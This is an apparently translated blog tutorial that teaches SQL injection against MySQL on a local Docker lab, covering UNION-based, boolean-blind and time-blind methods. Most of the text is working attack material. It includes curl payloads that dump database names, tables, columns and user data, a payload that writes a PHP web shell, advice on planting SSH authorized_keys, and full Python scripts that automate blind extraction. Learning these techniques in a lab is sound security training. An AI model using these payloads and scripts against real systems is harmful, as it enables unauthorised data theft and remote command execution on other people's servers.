Title here
Summary here
Learn SQLi (MySQL)
December 19, 2023 in Ciberseguridad23 minutes
Learn SQLi with examples and Docker containers to practice everything as you go. Throughout the post you will learn 3 types of SQLi: time-based, UNION-based and boolean-based
What is an SQLi?
As the name says, SQL Injection consists of injecting SQL statements into an SQL query by entering or modifying data sent from the client to the application. For example, a form, a login panel, comments, etc…
Let’s imagine an example: we have a website that gives us the information of the user we send via GET
> curl -s "localhost/index.php?nombre=joan" | sed 's/<br>/\n/g'
Nombre: Joan
Rol: admin
Let’s analyze the code to see how it’s built.
$nombre = $_GET['nombre'];
$query = "SELECT * FROM mi_tabla WHERE nombre = '$nombre'";
The web server receives via GET the content sent in the nombre (“name”) parameter and puts our input directly into the SQL query, without checking whether we’re really passing a name, so this makes it vulnerable to SQL injection.
> curl -s "localhost/index.php?nombre=joan'"
Error en la consulta: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''joan''' at line 1
An error was thrown in the SQL query, and the error message says it happened specifically at ‘‘‘joan’’’’. This is because we added a quote that was never closed and was left dangling, which caused an error. This is how the query looks with the quote we added.
SELECT * FROM mi_tabla WHERE nombre = 'joan''
Now everything we put after the quote will be interpreted as SQL statements, and so the dangling quote doesn’t cause problems, we can comment it out with ‘– -’
SELECT * FROM mi_tabla WHERE nombre = 'joan' sleep(5) -- -'
To make it easier to understand, here is an example made with Python, since Python is easier to follow
When we add an extra quote, it throws an error
>>> name = "Joan""
File "<stdin>", line 1
name = "Joan""
^
SyntaxError: unterminated string literal (detected at line 1)
If we comment out the quote, it no longer throws an error
>>> name = "Joan" #"
Now whatever we put after the quote will be interpreted as statements and not as text
>>> name = "joan"; print("Hola") #"
Hola
MySQL
UNION injection
Lab
For this explanation we’ll use lab 1:
Download the lab
Unzip it and go into the folder
unzip lab1.zip
cd lab1
Deploy the container
docker-compose up --build
Once we’ve located the SQL injection, which in lab 1 is the nombre parameter, we’ll carry out a UNION-based injection.
First of all, we need to know the number of columns in the table being used. To find it we’ll use ‘order by’, which lets us sort the results by the column we specify. If we specify a column number that doesn’t exist, it throws an error; playing with this, we can find the number of columns
> curl -s -G "localhost" --data-urlencode "nombre=joan' order by 3-- -" | sed 's/<br>/\n/g'
Nombre: Joan
Rol: admin
> curl -s -G "localhost" --data-urlencode "nombre=joan' order by 4-- -" | sed 's/<br>/\n/g'
Error en la consulta: Unknown column '4' in 'order clause'
Now we know the table has 3 columns, because ‘order by 3’ doesn’t throw an error but ‘order by 4’ does. If the table is very large, we can use tools to automate this step.
> wfuzz -c -t 20 -z range,1-5 "http://localhost/?nombre=joan'+order+by+FUZZ--+-"
000000001: 200 1 L 3 W 31 Ch "1"
000000003: 200 1 L 3 W 31 Ch "3"
000000002: 200 1 L 3 W 31 Ch "2"
000000004: 200 0 L 10 W 58 Ch "4"
000000005: 200 0 L 10 W 58 Ch "5"
We can see that when the column number no longer exists, the size of the response changes.
Now that we have the number of columns, we can start using UNION to append data. The payload is the following
union select NULL,NULL,NULL-- -
You need to put as many NULLs as the table has columns.
> curl -s -G "localhost" --data-urlencode "nombre=joan' union select NULL,NULL,NULL-- -" | sed 's/<br>/\n/g'
Nombre: Joan
Rol: admin
Nombre:
Rol:
Now we can replace the NULLs with text strings to check in which columns we can display data
> curl -s -G "localhost" --data-urlencode "nombre=joan' union select 'a','b','c'-- -" | sed 's/<br>/\n/g'
Nombre: Joan
Rol: admin
Nombre: b
Rol: c
We know we can see data in columns 2 and 3.
Enumerating databases
To find out which databases exist, we’ll use the following payload
union select NULL,schema_name,NULL from informationschema.schemata-- -
What do schema_name, information_schema and schemata mean? To find out, let’s look at the database in the SQL container. To find the container ID, run sudo docker ps
> sudo docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
52e31603f6a9 php:7.4-apache "docker-php-entrypoi…" 13 hours ago Up 8 minutes 0.0.0.0:80->80/tcp, :::80->80/tcp lab1_web_1
d71dbadbe4d0 mysql:5.7 "docker-entrypoint.s…" 13 hours ago Up 8 minutes 0.0.0.0:3306->3306/tcp, :::3306->3306/tcp, 33060/tcp lab1_db_1
Now we have the ID and can run bash in the container and then open mysql.
> sudo docker exec -it d71dbadbe4d0 bash
bash-4.2# mysql -u root -p
Enter password:
If we look at the databases with show databases;, we see a default database called information_schema
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| my_database |
| mysql |
| performance_schema |
| sys |
+--------------------+
5 rows in set (0.00 sec)
Inside the information_schema database there is, among many others, a table called schemata
mysql> use information_schema
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show tables;
+---------------------------------------+
| Tables_in_information_schema |
+---------------------------------------+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| .... |
| SCHEMATA |
| ... |
+---------------------------------------+
61 rows in set (0.00 sec)
And finally, inside the schemata table, specifically in the ‘schema_name’ column, are the names of the databases.
mysql> select * from schemata;
+--------------+--------------------+----------------------------+------------------------+----------+
| CATALOG_NAME | SCHEMA_NAME | DEFAULT_CHARACTER_SET_NAME | DEFAULT_COLLATION_NAME | SQL_PATH |
+--------------+--------------------+----------------------------+------------------------+----------+
| def | information_schema | utf8 | utf8_general_ci | NULL |
| def | my_database | latin1 | latin1_swedish_ci | NULL |
| def | mysql | latin1 | latin1_swedish_ci | NULL |
| def | performance_schema | utf8 | utf8_general_ci | NULL |
| def | sys | utf8 | utf8_general_ci | NULL |
+--------------+--------------------+----------------------------+------------------------+----------+
5 rows in set (0.00 sec)
Going back to the payload we had before, what we’re saying is: put the ‘schema_name’ column (which contains the database names) in column number 2. Then, with from, we say where that column is: in the ‘information_schema’ database and the schemata table:
union select NULL,schema_name,NULL from informationschema.schemata
> curl -s -G "localhost" --data-urlencode "nombre=joan' union select NULL,schema_name,NULL from information_schema.schemata-- -" | sed 's/<br>/\n/g'
Nombre: Joan
Rol: admin
Nombre: information_schema
Rol:
Nombre: my_database
Rol:
Nombre: mysql
Rol:
Nombre: performance_schema
Rol:
Nombre: sys
Rol:
In this case we see a new row with ‘Nombre: ’ and ‘Rol: ’ is added for each database found, but it won’t always be this easy; some websites may only show us the first result. In those cases we can use limits to display the databases one by one, as in the following example
> curl -s -G "localhost" --data-urlencode "nombre=' union select NULL,schema_name,NULL from information_schema.schemata limit 0,1-- -" | sed 's/<br>/\n/g'
Nombre: information_schema
Rol:
> curl -s -G "localhost" --data-urlencode "nombre=' union select NULL,schema_name,NULL from information_schema.schemata limit 2,1-- -" | sed 's/<br>/\n/g'
Nombre: mysql
Rol:
This is starting to look very good… we can enumerate the databases.
Enumerating tables
Now it’s time to enumerate the tables; the process is quite similar.
Inside the information_schema database there is a table called tables, which contains the names of all the tables.
+---------------------------------------+
| Tables_in_information_schema |
+---------------------------------------+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| ... |
| TABLES |
| ... |
+---------------------------------------+
Inside the tables table there is a column called table_name with the table names, and another called table_schema with the name of the database each table belongs to. For example, the following statement shows the tables in the ‘my_database’ database
mysql> select table_name from tables where table_schema = 'my_database' ;
+------------+
| table_name |
+------------+
| mi_tabla |
+------------+
Applied to the injection, it would look like this
union select NULL,table_name,NULL from information_schema.tables where table_schema = 'my_database'-- -
> curl -s -G "localhost" --data-urlencode "nombre=joan' union select NULL,table_name,NULL from information_schema.tables where table_schema = 'my_database'-- -" | sed 's/<br>/\n/g'
Nombre: Joan
Rol: admin
Nombre: mi_tabla
Rol:
Just like with the databases, if it’s an injection where we only see the first result, we can use limits to see the names one by one
> curl -s -G "localhost" --data-urlencode "nombre=' union select NULL,table_name,NULL from information_schema.tables where table_schema = 'my_database' limit 0,1 -- -" | sed 's/<br>/\n/g'
Nombre: mi_tabla
Rol:
Columns
Once we have the tables, it’s time for the columns.
Inside the information_schema database there is a table called columns, which contains the column names
mysql> show tables;
+---------------------------------------+
| Tables_in_information_schema |
+---------------------------------------+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| ... |
+---------------------------------------+
61 rows in set (0.00 sec)
From this whole table we’ll only use 3 columns:
- column_name: Contains the name of the columns
- table_name: Contains the name of the table the column belongs to
- table_schema: Contains the name of the database the column belongs to
mysql> select column_name from columns where table_name = 'mi_tabla' and table_schema = 'my_database';
+-------------+
| column_name |
+-------------+
| id |
| nombre |
| rol |
+-------------+
3 rows in set (0.00 sec)
Applied to the injection, it would look like this:
> curl -s -G "localhost" --data-urlencode "nombre=joan' union select NULL,column_name,NULL from information_schema.columns where table_name = 'mi_tabla' and table_schema = 'my_database'-- -" | sed 's/<br>/\n/g'
Nombre: Joan
Rol: admin
Nombre: id
Rol:
Nombre: nombre
Rol:
Nombre: rol
Rol:
Again, if it only shows one result, we can use limits to see them little by little.
> curl -s -G "localhost" --data-urlencode "nombre=' union select NULL,column_name,NULL from information_schema.columns where table_schema = 'my_database' and table_name = 'mi_tabla'limit 0,1 -- -" | sed 's/<br>/\n/g'
Nombre: id
Rol:
> curl -s -G "localhost" --data-urlencode "nombre=' union select NULL,column_name,NULL from information_schema.columns where table_schema = 'my_database' and table_name = 'mi_tabla'limit 1,1 -- -" | sed 's/<br>/\n/g'
Nombre: nombre
Rol:
> curl -s -G "localhost" --data-urlencode "nombre=' union select NULL,column_name,NULL from information_schema.columns where table_schema = 'my_database' and table_name = 'mi_tabla'limit 2,1 -- -" | sed 's/<br>/\n/g'
Nombre: rol
Rol:
Data
Finally, all that’s left is to see the contents of the columns we found. The query is now much simpler. In MySQL it would look like this
mysql> select nombre from mi_tabla;
+--------+
| nombre |
+--------+
| Joan |
| Quim |
| Andreu |
+--------+
And the injection would simply be the following
curl -s -G "localhost" --data-urlencode "nombre=joan' union select NULL,nombre,NULL from my_database.mi_tabla-- -" | sed 's/<br>/\n/g'
Nombre: Joan
Rol: admin
Nombre: Joan
Rol:
Nombre: Quim
Rol:
Nombre: Andreu
Rol:
> curl -s -G "localhost" --data-urlencode "nombre=joan' union select NULL,nombre,rol from my_database.mi_tabla-- -" | sed 's/<br>/\n/g'
Nombre: Joan
Rol: admin
Nombre: Joan
Rol: admin
Nombre: Quim
Rol: user
Nombre: Andreu
Rol: user
In this case we can easily see the contents of several columns at once, but it isn’t always like this. If we can only display data in one column, we can concatenate data with ‘group_concat()’
group_concat(nombre,':',rol)
With this we’ll be showing the contents of the nombre column and the rol column in the same column.
> curl -s -G "localhost" --data-urlencode "nombre=joan' union select NULL,group_concat(nombre,':',rol) ,NULL from my_database.mi_tabla-- -" | sed 's/<br>/\n/g'
Nombre: Joan
Rol: admin
Nombre: Joan:admin,Quim:user,Andreu:user
Rol:
If it only shows the first result, we can use limits to show them little by little
> curl -s -G "localhost" --data-urlencode "nombre=' union select NULL,nombre,rol from my_database.mi_tabla limit 0,1 -- -" | sed 's/<br>/\n/g'
Nombre: Joan
Rol: admin
> curl -s -G "localhost" --data-urlencode "nombre=' union select NULL,nombre,rol from my_database.mi_tabla limit 1,1 -- -" | sed 's/<br>/\n/g'
Nombre: Quim
Rol: user
> curl -s -G "localhost" --data-urlencode "nombre=' union select NULL,nombre,rol from my_database.mi_tabla limit 2,1 -- -" | sed 's/<br>/\n/g'
Nombre: Andreu
Rol: user
Writing files
Apart from extracting information from the database, we can also try to write files. We’ll do this by putting the content we want in the file in a column and then redirecting it with ‘into outfile’ to ‘/tmp/sqli’
?nombre=joan' union select NULL,"holaaaaaa",NULL into outfile "/tmp/sqli"-- -
To check whether it worked, we’ll open a terminal in the container. First we’ll look for the container ID
> sudo docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
c4b17fc1716b php:7.4-apache "docker-php-entrypoi…" 13 seconds ago Up 12 seconds 0.0.0.0:80->80/tcp, :::80->80/tcp lab1_web_1
5f7d54a374b0 mysql:5.7 "docker-entrypoint.s…" 13 seconds ago Up 12 seconds 0.0.0.0:3306->3306/tcp, :::3306->3306/tcp, 33060/tcp lab1_db_1
Then we’ll run bash in the mysql container
> sudo docker exec -it 5f7d54a374b0 bash
bash-4.2# ls
bin dev entrypoint.sh home lib64 mnt proc run srv tmp var
boot docker-entrypoint-initdb.d etc lib media opt root sbin sys usr
Finally, we check:
bash-4.2# ls /tmp
a sqli testing_sqli
bash-4.2# cat /tmp/sqli
1 Joan admin
\N holaaaaaa \N
What is this useful for?
We can use this technique, for example, to modify the authorized_keys of a system user so we can log in without a password. By default, authorized_keys is at ‘/home/(user)/.ssh/authorized_keys’
We can also use it to create a new PHP file on the website with malicious code that lets us run commands.
' union select NULL,"<?php system($_GET['cmd']);",NULL into outfile "/var/www/html/cmd.php"-- -
What this basically does is create a file in /var/www/html, the default path for websites. It writes PHP code into the file so that whatever it receives via GET in the cmd parameter (localhost/cmd.php?cmd=) is run with the system function, giving us remote command execution.
This can’t be tested in lab 1, since the website and the database are in different containers.
Boolean-based
Lab
For this explanation we’ll use lab 3:
Download the lab
Unzip it and go into the folder
unzip lab3.zip
cd lab3
Deploy the container
docker-compose up --build
In this type of injection we won’t see the output of the malicious queries.
We start by sending a normal request and adding at the end something that is true, for example (1=1, a=a, ‘a’=‘a’). Looking at the responses, we can see that when the query is true we see the Nombre and Rol, but when it’s false neither the Nombre nor the Rol shows up
curl -s -G "localhost" --data-urlencode "nombre=joan' and 1=1 -- -" | sed 's/<br>/\n/g'
Nombre: Joan
Rol: admin
curl -s -G "localhost" --data-urlencode "nombre=joan' and 1=2 -- -" | sed 's/<br>/\n/g'
Depending on the website, what is shown or hidden can change; sometimes the differences can be very small
To extract information with this method, we can make a request saying that the first character of the first database is an ’m’. If the statement is true, we’ll see the Nombre and Rol; otherwise, if we don’t guess the character, nothing will show up.
curl -s -G "localhost" --data-urlencode "nombre=joan' and substr((select schema_name from information_schema.schemata limit 1,1),1,1)='m'-- -" | sed 's/<br>/\n/g'
Nombre: Joan
Rol: admin
curl -s -G "localhost" --data-urlencode "nombre=joan' and substr((select schema_name from information_schema.schemata limit 1,1),1,1)='a'-- -" | sed 's/<br>/\n/g'
Doing it manually would take forever to extract the information from the database, so we can automate it with Python
Databases
To enumerate the databases we’ll use the following payload
joan' and substr((select schema_name from information_schema.schemata limit 1,1),1,1)='m'-- -
In the script we declare a variable called mensaje containing the message the website returns when the SQL query is true; every time the script sends a request, it checks whether this message is in the response. Then we calculate the number of databases. Finally, it calculates the length of each database name and brute forces each character.
from pwn import *
import requests
import string
url = "http://localhost/?nombre=joan'"
characters = string.ascii_lowercase + string.digits + "_" + "-" + "." + "@"
mensaje = "Nombre: Joan"
def database(url,characters,mensaje):
p1 = log.progress("Probando con")
p2 = log.progress("Bases de datos")
database = ""
for i in range(100):
payload = "{} and (select count(schema_name) from information_schema.schemata)={}-- -".format(url,i)
r = requests.get(payload)
if mensaje in r.text:
dbs = i
break
for db in range(dbs):
for i in range(100):
payload = "{} and LENGTH((select schema_name from information_schema.schemata limit {}, 1))={}-- -".format(url, db, i)
r = requests.get(payload)
if mensaje in r.text:
db_length = i + 1
break
database += "\n[*] "
for position in range(db_length):
for char in characters:
p1.status(char)
payload = "{} and substr((select schema_name from information_schema.schemata limit {},1),{},1)='{}'-- -".format(url, db, position, char)
r = requests.get(payload)
if mensaje in r.text:
database += char
p2.status(database)
break
database(url,characters,mensaje)
Tables
from pwn import *
import requests
import string
url = "http://localhost/?nombre=joan'"
characters = string.ascii_lowercase + string.digits + "_" + "-" + "." + "@"
mensaje = "Nombre: Joan"
def tables(url,characters):
p1 = log.progress("Probando con")
p2 = log.progress("Tablas")
tables = ""
for i in range(100):
payload = "{} and (select count(table_name) from information_schema.tables where table_schema = 'my_database')={}-- -".format(url,i)
r = requests.get(payload)
if mensaje in r.text:
tbs = i
break
for tb in range(tbs):
for i in range(100):
payload = "{} and LENGTH((select table_name from information_schema.tables where table_schema = 'my_database' limit {}, 1))={}-- -".format(url, tb, i)
r = requests.get(payload)
if mensaje in r.text:
tb_length = i + 1
break
tables += "\n[*] "
for position in range(tb_length):
for char in characters:
p1.status(char)
payload = "{} and substr((select table_name from information_schema.tables where table_schema = 'my_database' limit {},1),{},1)='{}'-- -".format(url, tb, position, char)
r = requests.get(payload)
if mensaje in r.text:
tables += char
p2.status(tables)
break
tables(url,characters)
Columns
from pwn import *
import requests
import string
url = "http://localhost/?nombre=joan'"
characters = string.ascii_lowercase + string.digits + "_" + "-" + "." + "@"
mensaje = "Nombre: Joan"
def columns(url,characters):
p1 = log.progress("Probando con")
p2 = log.progress("Columnas")
columns = ""
for i in range(100):
payload = "{} and (select count(column_name) from information_schema.columns where table_schema = 'my_database' and table_name = 'mi_tabla')={}-- -".format(url,i)
r = requests.get(payload)
if mensaje in r.text:
cols = i
break
for col in range(cols):
for i in range(100):
payload = "{} and LENGTH((select column_name from information_schema.columns where table_schema = 'my_database' and table_name = 'mi_tabla' limit {}, 1))={}-- -".format(url, col, i)
r = requests.get(payload)
if mensaje in r.text:
col_length = i + 1
break
columns += "\n[*] "
for position in range(col_length):
for char in characters:
p1.status(char)
payload = "{} and substr((select column_name from information_schema.columns where table_schema = 'my_database' and table_name = 'mi_tabla' limit {},1),{},1)='{}'-- -".format(url, col, position, char)
r = requests.get(payload)
if mensaje in r.text:
columns += char
p2.status(columns)
break
columns(url,characters)
Data
from pwn import *
import requests
import string
url = "http://localhost/?nombre=joan'"
characters = string.ascii_lowercase + string.digits + "_" + "-" + "." + "@" + ":"
mensaje = "Nombre: Joan"
def data(url,characters):
p1 = log.progress("Probando con")
p2 = log.progress("Datos")
datos = ""
for i in range(100):
payload = "{} and (select count(nombre) from my_database.mi_tabla)={}-- -".format(url,i)
r = requests.get(payload)
if mensaje in r.text:
dts = i
break
for dt in range(dts):
for i in range(100):
payload = "{} and LENGTH((select nombre from my_database.mi_tabla limit {}, 1))={}-- -".format(url, dt, i)
r = requests.get(payload)
if mensaje in r.text:
dt_length = i + 1
break
datos += "\n[*] "
for position in range(dt_length):
for char in characters:
p1.status(char)
payload = "{} and substr((select nombre from my_database.mi_tabla limit {},1),{},1)='{}'-- -".format(url, dt, position, char)
r = requests.get(payload)
if mensaje in r.text:
datos += char
p2.status(datos)
break
data(url,characters)
More relevant information
version() [Database version]
SELECT version();
from pwn import *
import requests
import string
url = "http://localhost/?nombre=joan'"
characters = string.ascii_lowercase + string.digits + "_" + "-" + "." + "@" + ":"
mensaje = "Nombre: Joan"
def version(url,characters):
p1 = log.progress("Probando con")
p2 = log.progress("Datos")
versions = ""
for v in range(1):
for i in range(100):
payload = "{} and LENGTH((select version() limit {}, 1))={}-- -".format(url, v, i)
r = requests.get(payload)
if mensaje in r.text:
v_length = i + 1
break
versions += "\n[*] "
for position in range(v_length):
for char in characters:
p1.status(char)
payload = "{} and substr((select version() limit {},1),{},1)='{}'-- -".format(url, v, position, char)
r = requests.get(payload)
if mensaje in r.text:
versions += char
p2.status(versions)
break
version(url,characters)
user() [User running the database]
SELECT user();
> python3 main.py
[>] Probando con: 3
[*] Usuario:
[*] [email protected]
from pwn import *
import requests
import string
url = "http://localhost/?nombre=joan'"
characters = string.ascii_lowercase + string.digits + "_" + "-" + "." + "@" + ":"
mensaje = "Nombre: Joan"
def user(url,characters):
p1 = log.progress("Probando con")
p2 = log.progress("Usuario")
users = ""
for user in range(1):
for i in range(100):
payload = "{} and LENGTH((select user() limit {}, 1))={}-- -".format(url, user, i)
r = requests.get(payload)
if mensaje in r.text:
v_length = i + 1
break
users += "\n[*] "
for position in range(v_length):
for char in characters:
p1.status(char)
payload = "{} and substr((select user() limit {},1),{},1)='{}'-- -".format(url, user, position, char)
r = requests.get(payload)
if mensaje in r.text:
users += char
p2.status(users)
break
user(url,characters)
database() [Database in use]
SELECT database();
> python3 main.py
[-] Probando con: e
[ ] Base de datos en uso:
[*] my_database
from pwn import *
import requests
import string
url = "http://localhost/?nombre=joan'"
characters = string.ascii_lowercase + string.digits + "_" + "-" + "." + "@" + ":"
mensaje = "Nombre: Joan"
def user(url,characters):
p1 = log.progress("Probando con")
p2 = log.progress("Base de datos en uso")
databases = ""
for db in range(1):
for i in range(100):
payload = "{} and LENGTH((select database() limit {}, 1))={}-- -".format(url, db, i)
r = requests.get(payload)
if mensaje in r.text:
db_length = i + 1
break
databases += "\n[*] "
for position in range(db_length):
for char in characters:
p1.status(char)
payload = "{} and substr((select database() limit {},1),{},1)='{}'-- -".format(url, db, position, char)
r = requests.get(payload)
if mensaje in r.text:
databases += char
p2.status(databases)
break
user(url,characters)
Time-based blind
Lab
For this explanation we’ll use lab 3:
Download the lab
Unzip it and go into the folder
unzip lab3.zip
cd lab3
Deploy the container
docker-compose up --build
In these injections we won’t see the output, so we’ll play with the server’s response times
We start by sending a request in which we tell the database to wait 5 seconds. To know whether the injection works, we’ll use the time command, which tells us how long it took
> time curl -s -G "localhost" --data-urlencode "nombre=joan' and sleep(5) -- -" | sed 's/<br>/\n/g'
real 5.03s
It took 5.03 seconds, which means the injection apparently worked
Databases
To enumerate the databases we’ll use the following payload
joan' and if(substr((select schema_name from information_schema.schemata limit 1,1),1,1)='a',sleep(5),1)-- -
What are we doing with this?
We’re telling it: “if the name of the first database starts with ‘a’, wait 5 seconds”
This won’t take 5 seconds, since it doesn’t start with a, but with m it does hang.
> time curl -s -G "localhost" --data-urlencode "nombre=joan' and if(substr((select schema_name from information_schema.schemata limit 1,1),1,1)='a',sleep(5),1)-- -" | sed 's/<br>/\n/g'
Nombre: Joan
Rol: admin
real 0.01s
> time curl -s -G "localhost" --data-urlencode "nombre=joan' and if(substr((select schema_name from information_schema.schemata limit 1,1),1,1)='m',sleep(5),1)-- -" | sed 's/<br>/\n/g'
real 5.02s
Doing it manually would take a long time, so we can write a Python script to automate it
from pwn import *
import requests
import string
url = "http://localhost/?nombre=joan'"
sleep_time = 0.05
characters = string.ascii_lowercase + string.digits + "_" + "-" + "." + "@"
def database(url,sleep_time,characters):
p1 = log.progress("Probando con")
p2 = log.progress("Bases de datos")
database = ""
for i in range(100):
payload = "{} and if((select count(schema_name) from information_schema.schemata)={}, sleep({}), 1)-- -".format(url,i,sleep_time)
r = requests.get(payload)
if r.elapsed.total_seconds() >= sleep_time:
dbs = i
break
for db in range(dbs):
for i in range(100):
payload = "{} and if(LENGTH((select schema_name from information_schema.schemata limit {}, 1))={}, sleep({}), 1)-- -".format(url, db, i, sleep_time)
r = requests.get(payload)
if r.elapsed.total_seconds() >= sleep_time:
db_length = i + 1
break
database += "\n[*] "
for position in range(db_length):
for char in characters:
p1.status(char)
payload = "{} and if(substr((select schema_name from information_schema.schemata limit {},1),{},1)='{}',sleep({}),1)-- -".format(url, db, position, char, sleep_time)
r = requests.get(payload)
if r.elapsed.total_seconds() >= sleep_time:
database += char
p2.status(database)
break
database(url,sleep_time,characters)
Tables
from pwn import *
import requests
import string
url = "http://localhost/?nombre=joan'"
sleep_time = 0.05
characters = string.ascii_lowercase + string.digits + "_" + "-" + "." + "@"
def tables(url,sleep_time,characters):
p1 = log.progress("Probando con")
p2 = log.progress("Tablas")
tables = ""
for i in range(100):
payload = "{} and if((select count(table_name) from information_schema.tables where table_schema = 'my_database')={}, sleep({}), 1)-- -".format(url,i,sleep_time)
r = requests.get(payload)
if r.elapsed.total_seconds() >= sleep_time:
tbs = i
break
for tb in range(tbs):
for i in range(100):
payload = "{} and if(LENGTH((select table_name from information_schema.tables where table_schema = 'my_database' limit {}, 1))={}, sleep({}), 1)-- -".format(url, tb, i, sleep_time)
r = requests.get(payload)
if r.elapsed.total_seconds() >= sleep_time:
tb_length = i + 1
break
tables += "\n[*] "
for position in range(tb_length):
for char in characters:
p1.status(char)
payload = "{} and if(substr((select table_name from information_schema.tables where table_schema = 'my_database' limit {},1),{},1)='{}',sleep({}),1)-- -".format(url, tb, position, char, sleep_time)
r = requests.get(payload)
if r.elapsed.total_seconds() >= sleep_time:
tables += char
p2.status(tables)
break
tables(url,sleep_time,characters)
Columns
from pwn import *
import requests
import string
url = "http://localhost/?nombre=joan'"
sleep_time = 0.1
characters = string.ascii_lowercase + string.digits + "_" + "-" + "." + "@"
def columns(url,sleep_time,characters):
p1 = log.progress("Probando con")
p2 = log.progress("Columnas")
columns = ""
for i in range(100):
payload = "{} and if((select count(column_name) from information_schema.columns where table_schema = 'my_database' and table_name = 'mi_tabla')={}, sleep({}), 1)-- -".format(url,i,sleep_time)
r = requests.get(payload)
if r.elapsed.total_seconds() >= sleep_time:
cols = i
break
for col in range(cols):
for i in range(100):
payload = "{} and if(LENGTH((select column_name from information_schema.columns where table_schema = 'my_database' and table_name = 'mi_tabla' limit {}, 1))={}, sleep({}), 1)-- -".format(url, col, i, sleep_time)
r = requests.get(payload)
if r.elapsed.total_seconds() >= sleep_time:
col_length = i + 1
break
columns += "\n[*] "
for position in range(col_length):
for char in characters:
p1.status(char)
payload = "{} and if(substr((select column_name from information_schema.columns where table_schema = 'my_database' and table_name = 'mi_tabla' limit {},1),{},1)='{}',sleep({}),1)-- -".format(url, col, position, char, sleep_time)
r = requests.get(payload)
if r.elapsed.total_seconds() >= sleep_time:
columns += char
p2.status(columns)
break
columns(url,sleep_time,characters)
Data
from pwn import *
import requests
import string
url = "http://localhost/?nombre=joan'"
sleep_time = 1
characters = string.ascii_lowercase + string.digits + "_" + "-" + "." + "@" + ":"
def data(url,sleep_time,characters):
p1 = log.progress("Probando con")
p2 = log.progress("Datos")
datos = ""
for i in range(100):
payload = "{} and if((select count(nombre) from my_database.mi_tabla)={}, sleep({}), 1)-- -".format(url,i,sleep_time)
r = requests.get(payload)
if r.elapsed.total_seconds() >= sleep_time:
dts = i
break
for dt in range(dts):
for i in range(100):
payload = "{} and if(LENGTH((select nombre from my_database.mi_tabla limit {}, 1))={}, sleep({}), 1)-- -".format(url, dt, i, sleep_time)
r = requests.get(payload)
if r.elapsed.total_seconds() >= sleep_time:
dt_length = i + 1
break
datos += "\n[*] "
for position in range(dt_length):
for char in characters:
p1.status(char)
payload = "{} and if(substr((select nombre from my_database.mi_tabla limit {},1),{},1)='{}',sleep({}),1)-- -".format(url, dt, position, char, sleep_time)
r = requests.get(payload)
if r.elapsed.total_seconds() >= sleep_time:
datos += char
p2.status(datos)
break
data(url,sleep_time,characters)
More relevant information
version() [Database version]
SELECT version();
from pwn import *
import requests
import string
url = "http://localhost/?nombre=joan'"
sleep_time = 1
characters = string.ascii_lowercase + string.digits + "_" + "-" + "." + "@" + ":"
def version(url,sleep_time,characters):
p1 = log.progress("Probando con")
p2 = log.progress("Datos")
versions = ""
for v in range(1):
for i in range(100):
payload = "{} and if(LENGTH((select version() limit {}, 1))={}, sleep({}), 1)-- -".format(url, v, i, sleep_time)
r = requests.get(payload)
if r.elapsed.total_seconds() >= sleep_time:
v_length = i + 1
break
versions += "\n[*] "
for position in range(v_length):
for char in characters:
p1.status(char)
payload = "{} and if(substr((select version() limit {},1),{},1)='{}',sleep({}),1)-- -".format(url, v, position, char, sleep_time)
r = requests.get(payload)
if r.elapsed.total_seconds() >= sleep_time:
versions += char
p2.status(versions)
break
version(url,sleep_time,characters)
user() [User running the database]
SELECT user();
> python3 main.py
[>] Probando con: 3
[*] Usuario:
[*] [email protected]
from pwn import *
import requests
import string
url = "http://localhost/?nombre=joan'"
sleep_time = 1
characters = string.ascii_lowercase + string.digits + "_" + "-" + "." + "@" + ":"
def user(url,sleep_time,characters):
p1 = log.progress("Probando con")
p2 = log.progress("Usuario")
users = ""
for user in range(1):
for i in range(100):
payload = "{} and if(LENGTH((select user() limit {}, 1))={}, sleep({}), 1)-- -".format(url, user, i, sleep_time)
r = requests.get(payload)
if r.elapsed.total_seconds() >= sleep_time:
v_length = i + 1
break
users += "\n[*] "
for position in range(v_length):
for char in characters:
p1.status(char)
payload = "{} and if(substr((select user() limit {},1),{},1)='{}',sleep({}),1)-- -".format(url, user, position, char, sleep_time)
r = requests.get(payload)
if r.elapsed.total_seconds() >= sleep_time:
users += char
p2.status(users)
break
user(url,sleep_time,characters)
database() [Database in use]
SELECT database();
> python3 main.py
[-] Probando con: e
[ ] Base de datos en uso:
[*] my_database
from pwn import *
import requests
import string
url = "http://localhost/?nombre=joan'"
sleep_time = 1
characters = string.ascii_lowercase + string.digits + "_" + "-" + "." + "@" + ":"
def user(url,sleep_time,characters):
p1 = log.progress("Probando con")
p2 = log.progress("Base de datos en uso")
databases = ""
for db in range(1):
for i in range(100):
payload = "{} and if(LENGTH((select database() limit {}, 1))={}, sleep({}), 1)-- -".format(url, db, i, sleep_time)
r = requests.get(payload)
if r.elapsed.total_seconds() >= sleep_time:
db_length = i + 1
break
databases += "\n[*] "
for position in range(db_length):
for char in characters:
p1.status(char)
payload = "{} and if(substr((select database() limit {},1),{},1)='{}',sleep({}),1)-- -".format(url, db, position, char, sleep_time)
r = requests.get(payload)
if r.elapsed.total_seconds() >= sleep_time:
databases += char
p2.status(databases)
break
user(url,sleep_time,characters)